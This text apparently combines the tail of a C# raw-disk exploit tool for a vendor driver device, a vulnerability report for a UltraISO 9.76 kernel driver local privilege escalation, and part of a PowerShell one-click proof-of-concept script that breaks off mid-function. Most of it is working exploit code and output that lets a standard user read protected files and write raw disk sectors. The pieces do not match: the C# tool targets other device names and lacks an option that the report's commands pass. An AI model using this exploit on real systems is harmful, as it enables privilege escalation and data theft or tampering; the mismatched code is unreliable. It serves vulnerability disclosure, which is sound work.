private static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool OpenProcessToken(IntPtr processHandle, int desiredAccess, out IntPtr tokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool GetTokenInformation(IntPtr tokenHandle, int tokenInformationClass, IntPtr tokenInformation, int tokenInformationLength, out int returnLength);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern IntPtr GetSidSubAuthorityCount(IntPtr pSid);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern IntPtr GetSidSubAuthority(IntPtr pSid, uint nSubAuthority);
private static int Main(string[] args)
{
try
{
Options opt = Options.Parse(args);
if (opt == null)
{
Usage();
return 2;
}
PrintIdentity();
if (!string.IsNullOrEmpty(opt.FlagPath))
{
BaselineProtectedFile(opt.FlagPath);
}
BaselineRawDisk(opt.Disk);
string devicePath = @"\\.\" + opt.Device + @"\" + opt.Disk;
using (SafeFileHandle h = OpenForwarder(devicePath))
{
if (h.IsInvalid)
{
Console.Error.WriteLine("[DRIVER] open=FAILED path={0} error={1}", devicePath, Marshal.GetLastWin32Error());
return 1;
}
Console.WriteLine("[DRIVER] open=SUCCESS path={0}", devicePath);
if (opt.Mode == "read")
{
int reportedBytes;
byte[] data = RawRead(h, opt.OffsetBytes, checked((int)opt.LengthBytes), out reportedBytes);
File.WriteAllBytes(opt.OutPath, data);
string prefix = AsciiPreview(data, 256);
bool found = !string.IsNullOrEmpty(opt.ExpectMarker) && Encoding.ASCII.GetString(data).Contains(opt.ExpectMarker);
Console.WriteLine("[EXPLOIT_READ] success=True device={0} disk={1} offset={2} requested_bytes={3} driver_reported_bytes={4} out={5}", opt.Device, opt.Disk, opt.OffsetBytes, data.Length, reportedBytes, opt.OutPath);
Console.WriteLine("[EXPLOIT_READ] prefix={0}", prefix);
if (!string.IsNullOrEmpty(opt.ExpectMarker))
{
Console.WriteLine("[RESULT] read_marker_found={0}", found);
return found ? 0 : 3;
}
return 0;
}
byte[] payload = MakePayload(opt.WriteMarker, checked((int)opt.LengthBytes));
RawWrite(h, opt.OffsetBytes, payload);
Console.WriteLine("[EXPLOIT_WRITE] success=True device={0} disk={1} offset={2} bytes={3}", opt.Device, opt.Disk, opt.OffsetBytes, payload.Length);
Console.WriteLine("[EXPLOIT_WRITE] marker={0}", opt.WriteMarker);
Console.WriteLine("[RESULT] write_succeeded=True");
return 0;
}
}
catch (Exception ex)
{
Console.Error.WriteLine("[ERROR] {0}: {1}", ex.GetType().Name, ex.Message);
return 1;
}
}
private static SafeFileHandle OpenForwarder(string devicePath)
{
return CreateFileW(devicePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero);
}
private static byte[] RawRead(SafeFileHandle h, ulong offset, int length, out int reportedBytes)
{
if (!SetFilePointerEx(h, checked((long)offset), IntPtr.Zero, FILE_BEGIN))
{
throw new InvalidOperationException("SetFilePointerEx failed: " + Marshal.GetLastWin32Error());
}
IntPtr buf = Marshal.AllocHGlobal(length);
try
{
ZeroMemory(buf, length);
if (!ReadFile(h, buf, length, out reportedBytes, IntPtr.Zero))
{
throw new InvalidOperationException("ReadFile through vendor device failed: " + Marshal.GetLastWin32Error());
}
byte[] data = new byte[length];
Marshal.Copy(buf, data, 0, length);
return data;
}
finally
{
Marshal.FreeHGlobal(buf);
}
}
private static void RawWrite(SafeFileHandle h, ulong offset, byte[] payload)
{
if (!SetFilePointerEx(h, checked((long)offset), IntPtr.Zero, FILE_BEGIN))
{
throw new InvalidOperationException("SetFilePointerEx failed: " + Marshal.GetLastWin32Error());
}
IntPtr buf = Marshal.AllocHGlobal(payload.Length);
try
{
Marshal.Copy(payload, 0, buf, payload.Length);
int wrote;
if (!WriteFile(h, buf, payload.Length, out wrote, IntPtr.Zero) || wrote != payload.Length)
{
throw new InvalidOperationException("WriteFile through vendor device failed or short write: " + Marshal.GetLastWin32Error());
}
}
finally
{
Marshal.FreeHGlobal(buf);
}
}
private static void BaselineProtectedFile(string path)
{
try
{
File.ReadAllBytes(path);
Console.WriteLine("[BASELINE] protected_read=UNEXPECTED_SUCCESS path={0}", path);
}
catch (Exception ex)
{
Console.WriteLine("[BASELINE] protected_read=DENIED path={0} error={1}", path, ex.Message);
}
try
{
File.WriteAllText(path, "SHOULD-NOT-WRITE");
Console.WriteLine("[BASELINE] protected_write=UNEXPECTED_SUCCESS path={0}", path);
}
catch (Exception ex)
{
Console.WriteLine("[BASELINE] protected_write=DENIED path={0} error={1}", path, ex.Message);
}
}
private static void BaselineRawDisk(uint disk)
{
string path = @"\\.\" + "PhysicalDrive" + disk;
using (SafeFileHandle h = CreateFileW(path, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero))
{
if (h.IsInvalid)
{
Console.WriteLine("[BASELINE] raw_disk_open=DENIED path={0} error={1}", path, Marshal.GetLastWin32Error());
}
else
{
Console.WriteLine("[BASELINE] raw_disk_open=UNEXPECTED_SUCCESS path={0}", path);
}
}
}
private static void PrintIdentity()
{
WindowsIdentity id = WindowsIdentity.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(id);
Console.WriteLine("[IDENTITY] user={0}", id.Name);
Console.WriteLine("[IDENTITY] is_administrator={0}", principal.IsInRole(WindowsBuiltInRole.Administrator));
Console.WriteLine("[IDENTITY] integrity={0}", GetIntegrityLevel());
}
private static string GetIntegrityLevel()
{
IntPtr token;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, out token)) return "unknown";
try
{
int needed;
GetTokenInformation(token, TokenIntegrityLevel, IntPtr.Zero, 0, out needed);
IntPtr buf = Marshal.AllocHGlobal(needed);
try
{
if (!GetTokenInformation(token, TokenIntegrityLevel, buf, needed, out needed)) return "unknown";
IntPtr sid = Marshal.ReadIntPtr(buf);
int count = Marshal.ReadByte(GetSidSubAuthorityCount(sid));
int rid = Marshal.ReadInt32(GetSidSubAuthority(sid, (uint)(count - 1)));
if (rid >= 0x4000) return "System";
if (rid >= 0x3000) return "High";
if (rid >= 0x2000) return "Medium";
if (rid >= 0x1000) return "Low";
return "Untrusted";
}
finally
{
Marshal.FreeHGlobal(buf);
}
}
finally
{
CloseHandle(token);
}
}
private static byte[] MakePayload(string marker, int length)
{
if (string.IsNullOrEmpty(marker)) throw new ArgumentException("--write-marker is required.");
byte[] payload = new byte[length];
byte[] markerBytes = Encoding.ASCII.GetBytes(marker);
Array.Copy(markerBytes, payload, Math.Min(markerBytes.Length, payload.Length));
for (int i = markerBytes.Length; i < payload.Length; i++) payload[i] = 0x42;
return payload;
}
private static string AsciiPreview(byte[] data, int max)
{
int len = Math.Min(data.Length, max);
return Encoding.ASCII.GetString(data, 0, len).Replace("\0", "\\0").Replace("\r", "\\r").Replace("\n", "\\n");
}
private static void ZeroMemory(IntPtr ptr, int length)
{
byte[] zeros = new byte[Math.Min(4096, length)];
int offset = 0;
while (offset < length)
{
int chunk = Math.Min(zeros.Length, length - offset);
Marshal.Copy(zeros, 0, IntPtr.Add(ptr, offset), chunk);
offset += chunk;
}
}
private static void Usage()
{
Console.Error.WriteLine("Usage:");
Console.Error.WriteLine(" raw_disk_forwarder_flag_rw_exploit.exe --device MDA_NTDRV --mode read --disk N --offset BYTES --length BYTES --flag-path PATH --expect-marker MARKER --out OUT.bin");
Console.Error.WriteLine(" raw_disk_forwarder_flag_rw_exploit.exe --device MDA_NTDRV --mode write --disk N --offset BYTES --length BYTES --write-marker MARKER");
Console.Error.WriteLine(" --device is the vendor raw-disk forwarder device name, for example MDA_NTDRV, EPMNTDRV, or EUEDKEPM.");
}
private sealed class Options
{
public string Device = "MDA_NTDRV";
public string Mode = "read";
public uint Disk;
public ulong OffsetBytes;
public ulong LengthBytes;
public string FlagPath;
public string ExpectMarker;
public string WriteMarker;
public string OutPath;
public static Options Parse(string[] args)
{
Options opt = new Options();
for (int i = 0; i < args.Length; i++)
{
string a = args[i].ToLowerInvariant();
if (a == "--device" && i + 1 < args.Length) opt.Device = args[++i];
else if (a == "--mode" && i + 1 < args.Length) opt.Mode = args[++i].ToLowerInvariant();
else if (a == "--disk" && i + 1 < args.Length) opt.Disk = UInt32.Parse(args[++i]);
else if (a == "--offset" && i + 1 < args.Length) opt.OffsetBytes = UInt64.Parse(args[++i]);
else if (a == "--length" && i + 1 < args.Length) opt.LengthBytes = UInt64.Parse(args[++i]);
else if (a == "--flag-path" && i + 1 < args.Length) opt.FlagPath = args[++i];
else if (a == "--expect-marker" && i + 1 < args.Length) opt.ExpectMarker = args[++i];
else if (a == "--write-marker" && i + 1 < args.Length) opt.WriteMarker = args[++i];
else if (a == "--out" && i + 1 < args.Length) opt.OutPath = args[++i];
else return null;
}
if (opt.Mode != "read" && opt.Mode != "write") return null;
if (string.IsNullOrWhiteSpace(opt.Device)) return null;
foreach (char c in opt.Device)
{
if (!char.IsLetterOrDigit(c) && c != '_' && c != '-') return null;
}
if (opt.LengthBytes == 0) return null;
if (opt.Mode == "read" && string.IsNullOrEmpty(opt.OutPath)) return null;
if (opt.Mode == "write" && string.IsNullOrEmpty(opt.WriteMarker)) return null;
return opt;
}
}
}
UltraISO Premium 9.76 Kernel Driver bootpt64.sys Local Privilege Escalation
CVE-2026-12786 Summary
In the validation below, a standard user at Medium Integrity could not read or write a protected flag file on a temporary VHD and could not open the VHD as \\.\PhysicalDrive1. The same standard user opened \\.\BootPart, mounted disk 1, and read the protected file's NTFS data clusters by raw disk offset. In a separate non-destructive write proof, the same user wrote a marker to an unused sector of a temporary unformatted VHD attached as disk 2; an administrator raw readback from the VHD confirmed the marker.
An unprivileged user can exploit arbitrary read/write primitives over protected file resources to achieve local privilege escalation.
Affected Product and Version
- Product: UltraISO Premium Edition
- Tested version: 9.76
- Driver:
bootpt64.sys - Driver SHA-256:
96943D7B3FBCE92403392A2A8A31C3BE89C65F78E6A6D248EB16D120E46F1F1A
Download URL and SHA-256
- Download URL:
https://www.ultraiso.com/uiso9_pe.exe - File name:
uiso9_pe.exe - Installer SHA-256:
5564ABF832BCB92CEFE7209CB8A583C462DBF8AB3652697634CD178324352616 - Installer version: 9.7.6.3860 / UltraISO 9.76
- Installer signature: Valid, SHENZHEN YIBO DIGITAL SYSTEMS DEVELOPMENT CO., LTD.
- Driver signature: Valid, Shenzhen Yibo Digital Systems Development Co., Ltd.
- Driver load method: official installer silent install; installed
bootpt64.sysloaded with a temporary demand-start kernel service for validation.
Vulnerability Type
Local raw disk read/write access-control bypass through a kernel driver.
Impact
A low-privileged local user can bypass normal Windows file and raw disk access checks and read or write sectors on a selected disk through \\.\BootPart. With filesystem metadata knowledge, the read primitive exposes protected file contents. The write primitive can tamper with raw disk data and is escalation-grade if applied to security-sensitive filesystem data or boot/system structures. This report proves the issue only against temporary VHDs created for the test.
Test Environment
- OS: Microsoft Windows Server 2025 Datacenter Evaluation, version 10.0.26100, 64-bit
- Administrator account used only for installation, VHD setup, driver load, evidence collection, and cleanup
- Test user: standard user
WIN-R10EKFCBLSE\low - Test user integrity: Medium Integrity
- Controlled read disk: temporary NTFS-formatted VHD attached as disk 1
- Controlled write disk: temporary unformatted VHD attached as disk 2 during the separate write proof
Driver Load / Setup Steps
The official UltraISO installer was downloaded and verified, then installed silently with restart suppressed:
uiso9_pe.exe /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP- /DIR=C:\ProgramData\VendorRepro\ultraiso_app
The installed driver was loaded with a temporary kernel service:
sc.exe create BootPartRepro type= kernel start= demand binPath= C:\ProgramData\VendorRepro\ultraiso_app\drivers\bootpt64.sys
sc.exe start BootPartRepro
Observed:
SERVICE_NAME: BootPartRepro
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
Reproduction Steps
For the protected-file read proof, create a temporary VHD, format it as NTFS, create a protected marker file, resolve its NTFS data run, and run the exploit as the standard user:
ultraiso_bootpart_flag_rw_exploit.exe --mode read --disk 1 --offset 5869568 --length 20480 --expect-marker ULTRAISO-BOOTPART-PROTECTED-FLAG-c8fdec55-8a48-4b44-8ff5-b5b4321efa30 --out C:\ProgramData\VendorRepro\ultraiso_bootpart_evidence\exploit_read_clusters.bin --drive-letter Q
For the raw write proof, create and attach a temporary unformatted VHD, then run the exploit as the same standard user against an unused offset:
ultraiso_bootpart_flag_rw_exploit.exe --mode write --disk 2 --offset 4194304 --length 512 --write-marker ULTRAISO-BOOTPART-RAW-WRITE-da427265-e023-4ec6-805c-9c4c4062fe43 --drive-letter Q
The included one-click script performs the setup, baseline, exploit, administrator readback, and cleanup steps:
.\repro_one_click.ps1 -LowUser "$env:COMPUTERNAME\low" -UseEnvPassword -AttemptWrite
The write proof uses a temporary unformatted VHD to avoid writing filesystem metadata or user data. A previous attempt to overwrite an NTFS file cluster through BootPart returned ERROR_NOT_READY; that failed NTFS-cluster attempt is not used as proof.
Baseline Evidence
The protected-file read baseline ran as a standard user:
[IDENTITY] user=WIN-R10EKFCBLSE\low
[IDENTITY] is_administrator=False
Windows denied direct access to the protected test file:
[BASELINE] protected_read=DENIED path=R:\protected\admin_only_flag.bin error=Exception calling "ReadAllBytes" with "1" argument(s): "Access to the path 'R:\protected\admin_only_flag.bin' is denied."
[BASELINE] protected_write=DENIED path=R:\protected\admin_only_flag.bin error=Exception calling "WriteAllText" with "2" argument(s): "Access to the path 'R:\protected\admin_only_flag.bin' is denied."
Windows denied direct raw disk open:
[BASELINE] raw_disk_open=DENIED path=\\.\PhysicalDrive1 error=5377
The raw write baseline also ran as the same standard user and direct raw disk access was denied:
[IDENTITY] user=WIN-R10EKFCBLSE\low
[IDENTITY] is_administrator=False
[BASELINE] raw_disk_open=DENIED path=\\.\PhysicalDrive2 error=5377
Exploit Evidence
The same standard user opened the driver and mounted the raw disk through BootPart for the read proof:
[DRIVER] open=SUCCESS path=\\.\BootPart
[DRIVER] mount=SUCCESS disk=1 read_only=True drive=Q: start_sector=0 sectors=4294967295
The same standard user read the protected file's data clusters by raw disk offset:
[EXPLOIT_READ] success=True disk=1 offset=5869568 bytes=20480 out=C:\ProgramData\VendorRepro\ultraiso_bootpart_evidence\exploit_read_clusters.bin
[EXPLOIT_READ] prefix=ULTRAISO-BOOTPART-PROTECTED-FLAG-c8fdec55-8a48-4b44-8ff5-b5b4321efa30AAAAAAAA...
[RESULT] read_marker_found=True
The raw write proof also ran as the standard user:
[IDENTITY] user=WIN-R10EKFCBLSE\low
[IDENTITY] is_administrator=False
[IDENTITY] integrity=Medium
[BASELINE] raw_disk_open=DENIED path=\\.\PhysicalDrive2 error=5
[DRIVER] open=SUCCESS path=\\.\BootPart
[DRIVER] mount=SUCCESS disk=2 read_only=False drive=Q: start_sector=8192 sectors=1
[WRITE_ATTEMPT] path=\\.\BootPart result=SUCCESS
[EXPLOIT_WRITE] success=True disk=2 absolute_offset=4194304 io_offset=0 bytes=512 path=\\.\BootPart
[EXPLOIT_WRITE] marker=ULTRAISO-BOOTPART-RAW-WRITE-da427265-e023-4ec6-805c-9c4c4062fe43
[RESULT] write_succeeded=True
[DRIVER] unmount_ok=True error=0
Administrator raw readback from the temporary VHD-backed disk confirmed the marker at the written sector:
{
"low_exit": 0,
"bytes_read": 512,
"expected_marker": "ULTRAISO-BOOTPART-RAW-WRITE-da427265-e023-4ec6-805c-9c4c4062fe43",
"marker_found": true,
"prefix": "ULTRAISO-BOOTPART-RAW-WRITE-da427265-e023-4ec6-805c-9c4c4062fe43BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
}
Why This Proves the Vulnerability
The test user is a standard user at Medium Integrity. Windows correctly denied direct access to the protected file and direct raw access to the temporary physical disk. The same user could read protected file data and write raw disk sectors through \\.\BootPart.
The IDA Pro MCP analysis explains why this happens: the driver grants Builtin Users access to the control device, accepts caller-controlled disk mount parameters, opens the selected disk from kernel context without OBJ_FORCE_ACCESS_CHECK, then services user read/write requests through ZwReadFile and ZwWriteFile on that privileged raw disk handle.
Therefore, the driver exposes privileged raw disk functionality without enforcing the Windows access checks that normally prevent a standard user from reading or writing raw disk sectors.
Cleanup Steps
Dismount-DiskImage -ImagePath C:\ProgramData\VendorRepro\ultraiso_bootpart\controlled_disk.vhd
sc.exe stop BootPartRepro
sc.exe delete BootPartRepro
C:\ProgramData\VendorRepro\ultraiso_app\unins000.exe /VERYSILENT /SUPPRESSMSGBOXES /NORESTART
Remove-Item C:\ProgramData\VendorRepro\ultraiso_bootpart -Recurse -Force
Remove-Item C:\ProgramData\VendorRepro\ultraiso_app -Recurse -Force
Cleanup was confirmed:
WorkRoot exists after cleanup: False
InstallDir exists after cleanup: False
BootPartRepro service query after cleanup:
The specified service does not exist as an installed service.
Suggested Remediation
- Do not grant Builtin Users generic access to the BootPart control device.
- Restrict the device SDDL to SYSTEM and Administrators, or move private disk operations behind a trusted service.
- Before opening raw disk objects, impersonate the caller and enforce normal Windows access checks, including
OBJ_FORCE_ACCESS_CHECK. - Remove raw disk read/write support from the public device interface unless it is strictly required.
- Add explicit authorization checks for the mount IOCTL and any read/write path backed by raw disk handles.
- Treat write operations as especially sensitive and require an administrator-only broker even for removable or image-backed disks.
POC
repro_one_click.ps1
[CmdletBinding()]
param(
[string]$RepoRoot,
[string]$LowUser = 'EXPDEV\low',
[System.Management.Automation.PSCredential]$LowCredential,
[switch]$UseEnvPassword,
[switch]$AttemptWrite,
[switch]$SkipCleanup
)
$ErrorActionPreference = 'Stop'
$ProgressPreference = 'SilentlyContinue'
function Assert-Admin {
$identity = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = [Security.Principal.WindowsPrincipal]::new($identity)
if (-not $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
throw 'Run from an elevated PowerShell session.'
}
}
function Get-LowCredential {
if ($LowCredential) { return $LowCredential }
if ($UseEnvPassword) {
$plain = [Environment]::GetEnvironmentVariable('VENDOR_REPRO_LOW_PASSWORD')
if ([string]::IsNullOrWhiteSpace($plain)) { throw 'VENDOR_REPRO_LOW_PASSWORD is not set.' }
return [System.Management.Automation.PSCredential]::new($LowUser, (ConvertTo-SecureString $plain -AsPlainText -Force))
}
return Get-Credential -UserName $LowUser -Message 'Credential for the standard test user'
}
function Download-Installer([string]$OutPath) {
if (Test-Path $OutPath) { return }
New-Item -ItemType Directory -Force -Path (Split-Path $OutPath -Parent) | Out-Null
Invoke-WebRequest -Uri 'https://www.ultraiso.com/uiso9_pe.exe' -OutFile $OutPath -UseBasicParsing -TimeoutSec 180 -Headers @{ 'User-Agent'='Mozilla/5.0' }
}
function Compile-Exploit([string]$SourcePath, [string]$ExePath) {
$csc = "$env:WINDIR\Microsoft.NET\Framework64\v4.0.30319\csc.exe"
if (!(Test-Path $csc)) { throw "C# compiler not found: $csc" }
New-Item -ItemType Directory -Force -Path (Split-Path $ExePath -Parent) | Out-Null
& $csc /nologo /optimize+ /platform:x64 /target:exe "/out:$ExePath" $SourcePath
if ($LASTEXITCODE -ne 0) { throw 'Exploit compilation failed.' }
}
function Run-Low {
param(
[string]$Name,
[string]$FilePath,
[string[]]$ArgumentList,
[string]$Stdout,
[string]$Stderr,
[System.Management.Automation.PSCredential]$Credential,
[string]$StatusPath
)
$p = Start-Process -FilePath $FilePath -ArgumentList $ArgumentList -Credential $Credential -LoadUserProfile -WindowStyle Hidden -Wait -PassThru -RedirectStandardOutput $Stdout -RedirectStandardError $Stderr
"$Name exit=$($p.ExitCode)" | Add-Content -LiteralPath $StatusPath -Encoding ascii
if ($p.ExitCode -ne 0) { throw "$Name failed with exit code $($p.ExitCode)." }
}
function Run-LowBaseline {
param(
[uint32]$DiskNumber,
[string]$FlagPath,
[System.Management.Automation.PSCredential]$Credential,
[string]$EvidenceDir,
[string]$StatusPath
)
$script = Join-Path $EvidenceDir 'low_baseline.ps1'
$stdout = Join-Path $EvidenceDir 'low_baseline_stdout.txt'
$stderr = Join-Path $EvidenceDir 'low_baseline_stderr.txt'
@"
`$ErrorActionPreference = 'Continue'
`$flag = '$FlagPath'
`$disk = '\\.\PhysicalDrive$DiskNumber'
`$id = [Security.Principal.WindowsIdentity]::GetCurrent()
`$principal = [Security.Principal.WindowsPrincipal]::new(`$id)
"[IDENTITY] user=`$(`$id.Name)"
"[IDENTITY] is_administrator=`$(`$principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))"
try {
[IO.File]::ReadAllBytes(`$flag) | Out-Null
"[BASELINE] protected_read=UNEXPECTED_SUCCESS path=`$flag"
} catch {
"[BASELINE] protected_read=DENIED path=`$flag error=`$(`$_.Exception.Message)"
}
try {
[IO.File]::WriteAllText(`$flag, 'SHOULD-NOT-WRITE')
"[BASELINE] protected_write=UNEXPECTED_SUCCESS path=`$flag"
} catch {
"[BASELINE] protected_write=DENIED path=`$flag error=`$(`$_.Exception.Message)"
}
try {
`$fs = [IO.File]::Open(`$disk, [IO.FileMode]::Open, [IO.FileAccess]::ReadWrite, [IO.FileShare]::ReadWrite)
"[BASELINE] raw_disk_open=UNEXPECTED_SUCCESS path=`$disk"
`$fs.Close()
} catch {
"[BASELINE] raw_disk_open=DENIED path=`$disk error=`$(`$_.Exception.HResult -band 0xffff)"
}
"@ | Set-Content -LiteralPath $script -Encoding ascii
$p = Start-Process -FilePath powershell.exe -ArgumentList @('-NoProfile','-ExecutionPolicy','Bypass','-File',$script) -Credential $Credential -LoadUserProfile -WindowStyle Hidden -Wait -PassThru -RedirectStandardOutput $stdout -RedirectStandardError $stderr
"low_baseline exit=$($p.ExitCode)" | Add-Content -LiteralPath $StatusPath -Encoding ascii
if ($p.ExitCode -ne 0) { throw "low_baseline failed with exit code $($p.ExitCode)." }
}
function Create-Vhd([string]$WorkRoot, [string]$EvidenceDir) {
$vhd = Join-Path $WorkRoot 'controlled_disk.vhd'
$script = Join-Path $WorkRoot 'create_vhd.diskpart'
@"
create vdisk file="$vhd" maximum=96 type=fixed
select vdisk file="$vhd"
attach vdisk
create partition primary
"@ | Set-Content -LiteralPath $script -Encoding ascii
(& diskpart.exe /s $script) | Out-File -LiteralPath (Join-Path $EvidenceDir 'diskpart_create.txt') -Encoding ascii
$disk = Get-DiskImage -ImagePath $vhd | Get-Disk
$partition = Get-Partition -DiskNumber $disk.Number | Where-Object { $_.Type -ne 'Reserved' } | Select-Object -First 1
$partition | Format-List | Out-File -LiteralPath (Join-Path $EvidenceDir 'partition_before_format.txt') -Encoding ascii
$partition | Set-Partition -NewDriveLetter R
Format-Volume -DriveLetter R -FileSystem NTFS -NewFileSystemLabel BOOTPARTREPRO -Confirm:$false -Force | Format-List | Out-File -LiteralPath (Join-Path $EvidenceDir 'format_volume.txt') -Encoding ascii
return $disk.Number
}
function New-ProtectedFlag([uint32]$DiskNumber, [string]$WorkRoot, [string]$EvidenceDir) {
New-Item -ItemType Directory -Force -Path 'R:\protected' | Out-Null
$marker = 'ULTRAISO-BOOTPART-PROTECTED-FLAG-' + [guid]::NewGuid().ToString()
$bytes = New-Object byte[] 20480
$markerBytes = [Text.Encoding]::ASCII.GetBytes($marker)
[Array]::Copy($markerBytes, 0, $bytes, 0, $markerBytes.Length)
for ($i = $markerBytes.Length; $i -lt $bytes.Length; $i++) { $bytes[$i] = 0x41 }
$flag = 'R:\protected\admin_only_flag.bin'
[IO.File]::WriteAllBytes($flag, $bytes)
(& icacls.exe $flag /inheritance:r /grant:r 'Administrators:F' 'SYSTEM:F') | Out-File -LiteralPath (Join-Path $EvidenceDir 'flag_acl_set.txt') -Encoding ascii
(& icacls.exe $flag) | Out-File -LiteralPath (Join-Path $EvidenceDir 'flag_acl.txt') -Encoding ascii
$ntfs = (fsutil fsinfo ntfsinfo R:) 2>&1
$extents = (fsutil file queryextents $flag) 2>&1
$ntfs | Out-File -LiteralPath (Join-Path $EvidenceDir 'ntfs_info.txt') -Encoding ascii
$extents | Out-File -LiteralPath (Join-Path $EvidenceDir 'file_extents.txt') -Encoding ascii
[uint64]$bytesPerCluster = 0
foreach ($line in $ntfs) { if ($line -match 'Bytes Per Cluster\s*:\s*(\d+)') { $bytesPerCluster = [uint64]$Matches[1] } }
$lcn = $null; $clusters = $null
foreach ($line in $extents) {
if ($line -match 'VCN:\s*0x[0-9a-fA-F]+\s+Clusters:\s*0x([0-9a-fA-F]+)\s+LCN:\s*0x([0-9a-fA-F]+)') {
$clusters = [Convert]::ToUInt64($Matches[1], 16)
$lcn = [Convert]::ToUInt64($Matches[2], 16)
break
}
}
if ($bytesPerCluster -eq 0 -or $null -eq $lcn) { throw 'Could not parse NTFS data run.' }
$partition = Get-Partition -DriveLetter R
[uint64]$diskOffset = [uint64]$partition.Offset + ($lcn * $bytesPerCluster)
[uint64]$runLength = $clusters * $bytesPerCluster
$meta = [pscustomobject]@{
marker = $marker
vhd_path = (Join-Path $WorkRoot 'controlled_disk.vhd')
disk_number = $DiskNumber
drive_letter = 'R'
partition_offset = [uint64]$partition.Offset
bytes_per_cluster = $bytesPerCluster
first_lcn = $lcn
first_run_clusters = $clusters
disk_offset = $diskOffset
run_length = $runLength
protected_file = $flag
}
$meta | ConvertTo-Json | Set-Content -LiteralPath (Join-Path $EvidenceDir 'test_object_metadata.json') -Encoding ascii
return $meta
}
function Run-RawWriteProof {
param(
[string]$WorkRoot,
[string]$EvidenceDir,
[string]$ExploitExe,
[System.Management.Automation.PSCredential]$Credential,
[string]$StatusPath
)
$rawVhd = Join-Path $WorkRoot 'raw_write_disk.vhd'
$diskpartScript = Join-Path $WorkRoot 'create_raw_write_vhd.diskpart'
@"
create vdisk file="$rawVhd" maximum=64 type=fixed
select vdisk file="$rawVhd"
attach vdisk
"@ | Set-Content -LiteralPath $diskpartScript -Encoding ascii
(& diskpart.exe /s $diskpartScript) | Out-File -LiteralPath (Join-Path $EvidenceDir 'raw_write_diskpart_create.txt') -Encoding ascii
$disk = Get-DiskImage -ImagePath $rawVhd | Get-Disk
$disk | Format-List | Out-File -LiteralPath (Join-Path $EvidenceDir 'raw_write_disk_info.txt') -Encoding ascii
$baselineScript = Join-Path $EvidenceDir 'low_raw_write_baseline.ps1'
$baselineStdout = Join-Path $EvidenceDir 'low_raw_write_baseline_stdout.txt'
$baselineStderr = Join-Path $EvidenceDir 'low_raw_write_baseline_stderr.txt'
@"
`$ErrorActionPreference = 'Continue'
`$disk = '\\.\PhysicalDrive$($disk.Number)'
`$id = [Security.Principal.WindowsIdentity]::GetCurrent()
`$principal = [Security.Principal.WindowsPrincipal]::new(`$id)
"[IDENTITY] user=`$(`$id.Name)"
"[IDENTITY] is_administrator=`$(`$principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))"
try {
`$fs = [IO.File]::Open(`$disk, [IO.FileMode]::Open, [IO.FileAccess]::ReadWrite, [IO.FileShare]::ReadWrite)
"[BASELINE] raw_disk_open=UNEXPECTED_SUCCESS path=`$disk"
`$fs.Close()
} catch {
"[BASELINE] raw_disk_open=DENIED path=`$disk error=`$(`$_.Exception.HResult -band 0xffff)"
}
"@ | Set-Content -LiteralPath $baselineScript -Encoding ascii
$baselineProcess = Start-Process -FilePath powershell.exe -ArgumentList @('-NoProfile','-ExecutionPolicy','Bypass','-File',$baselineScript) -Credential $Credential -LoadUserProfile -WindowStyle Hidden -Wait -PassThru -RedirectStandardOutput $baselineStdout -RedirectStandardError $baselineStderr
"low_raw_write_baseline exit=$($baselineProcess.ExitCode)" | Add-Content -LiteralPath $StatusPath -Encoding ascii
if ($baselineProcess.ExitCode -ne 0) { throw "low_raw_write_baseline failed with exit code $($baselineProcess.ExitCode)." }
[uint64]$offset = 4194304
[uint32]$length = 512
$writeMarker = 'ULTRAISO-BOOTPART-RAW-WRITE-' + [guid]::NewGuid().ToString()
[pscustomobject]@{
write_marker = $writeMarker
disk_number = [uint32]$disk.Number
disk_offset = $offset
length = $length
vhd_path = $rawVhd
note = 'Temporary unformatted VHD raw sector write proof.'
} | ConvertTo-Json | Set-Content -LiteralPath (Join-Path $EvidenceDir 'raw_write_marker_metadata.json') -Encoding ascii
Run-Low -Name 'low_raw_write_exp' -FilePath $ExploitExe -Credential $Credential -StatusPath $StatusPath `
-Stdout (Join-Path $EvidenceDir 'low_raw_write_exp_stdout.txt') `
-Stderr (Join-Path $EvidenceDir 'low_raw_write_exp_stderr.txt') `
-ArgumentList @('--mode','write','--disk',[string]$disk.Number,'--offset',[string]$offset,'--length',[string]$length,'--write-marker',$writeMarker,'--drive-letter','Q')
$rawPath = "\\.\PhysicalDrive$($disk.Number)"
$buf = New-Object byte[] $length
$fs = [IO.File]::Open($rawPath, [IO.FileMode]::Open, [IO.FileAccess]::Read, [IO.FileShare]::ReadWrite)
try {
$fs.Seek([int64]$offset, [IO.SeekOrigin]::Begin) | Out-Null
$read = $fs.Read($buf, 0, $buf.Length)
} finally {
$fs.Dispose()
}
[IO.File]::WriteAllBytes((Join-Path $EvidenceDir 'raw_write_admin_readback.bin'), $buf)
$prefix = [Text.Encoding]::ASCII.GetString($buf, 0, [Math]::Min(160, $buf.Length))
$markerFound = $prefix.Contains($writeMarker)
[pscustomobject]@{
low_exit = 0
bytes_read = $read
expected_marker = $writeMarker
marker_found = $markerFound
prefix = $prefix
} | ConvertTo-Json | Set-Content -LiteralPath (Join-Path $EvidenceDir 'raw_write_admin_readback.json') -Encoding ascii
if (-not $markerFound) { throw 'Admin raw readback did not find the raw write marker.' }
